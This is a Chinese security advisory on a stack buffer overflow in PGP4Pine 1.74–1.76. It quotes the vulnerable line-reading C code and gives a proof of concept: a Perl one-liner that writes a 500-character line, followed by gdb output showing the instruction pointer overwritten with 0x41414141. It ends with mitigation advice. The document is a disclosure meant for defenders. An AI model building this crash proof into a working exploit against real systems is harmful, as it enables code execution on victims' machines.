首页 -> 安全研究

安全研究

安全漏洞
PGP4Pine文件解析缓冲区溢出漏洞

发布日期:2003-03-12
更新日期:2003-03-14

受影响系统:
PGP4Pine PGP4Pine 1.76
PGP4Pine PGP4Pine 1.75
PGP4Pine PGP4Pine 1.74
描述:
PGP4Pine是用于PINE增加PGP功能的程序,可对邮件进行加密/解密/签名/验证等操作。

PGP4Pine在解析文件时存在问题,远程攻击者可以利用这个漏洞发送恶意邮件,诱使PGP4Pine处理,可触发缓冲区溢出。

当PGP4Pine与pine一起安装配置后,PGP4Pine就会解析进入的任何邮件,查找PGP令牌和信息,并验证发送者签名,为了签证进入的邮件,PGP4Pine会调用menus.c: void fileVerifyDecryptMenu(char *inFile,char *outFile); 并循环读取每一行:

[...]
char readline[CONSOLE_IO_LINE_LENGTH];
(where defines.h:#define CONSOLE_IO_LINE_LENGTH 256)
[...]
do {
   fertig=0;
   while (!fertig)
   {
     if ((c=getc(fin))==EOF)
     {
       outFile=inFile; /* this usually is not
                          executed, EOF breaks directly */
       return;
     }
     else if ((readline[i++]=c) == '\n')
     {
       readline[i]='\0';
       fertig=1;
     }
   }
   fertig=0;


   if (strncmp("-----BEGIN PGP SIGNED",readline,20)==0)
   {
     /* got signed message */
     fclose(fin);
     while (fileVerify(inFile,outFile) > 0); /* =1: Repeat */
     fertig=1;
   }
   else if (strncmp("-----BEGIN PGP",readline,14)==0)
   {
     /* got another type of PGP message (encrypted, keys ...) */
     fclose(fin);
     fileDecrypt(inFile,outFile);
     waitForReturn();
     fertig=1;
   }
   else
     i=0; /* Got waste line, reset i */
} while (!fertig);
[...]


如果单行的字节数超过256字符,就会覆盖堆栈中的变量,精心构建恶意邮件,诱使PGP4Pine用户解析,可能以用户进程权限在系统上执行任意指令。

<*来源:Eric AUGE (eric.auge@cw.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=104748935303874&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Eric AUGE (eric.auge@cw.com)提供了如下测试方法:

rival@bones ~/dev/test/pgp4pine-ex $ echo `perl -e 'print "A"x500'` > testmail
rival@bones ~/dev/test/pgp4pine-ex $ ./pgp4pine-vuln -d -i testmail
[...]
Segmentation fault (core dumped)
rival@bones ~/dev/test/pgp4pine-ex $ gdb ./pgp4pine-vuln core
[...]
Core was generated by `./pgp4pine-vuln -d -i testmail'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x41414141 in ?? ()
(gdb)

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 关闭使用pgp4pine,并使用其他的PGP wrapper:

http://pgpenvelope.sourceforge.net/
http://www.megaloman.com/~hany/software/pinepgp/stable.html

厂商补丁:

PGP4Pine
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://pgp4pine.flatline.de/

浏览次数:2784
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障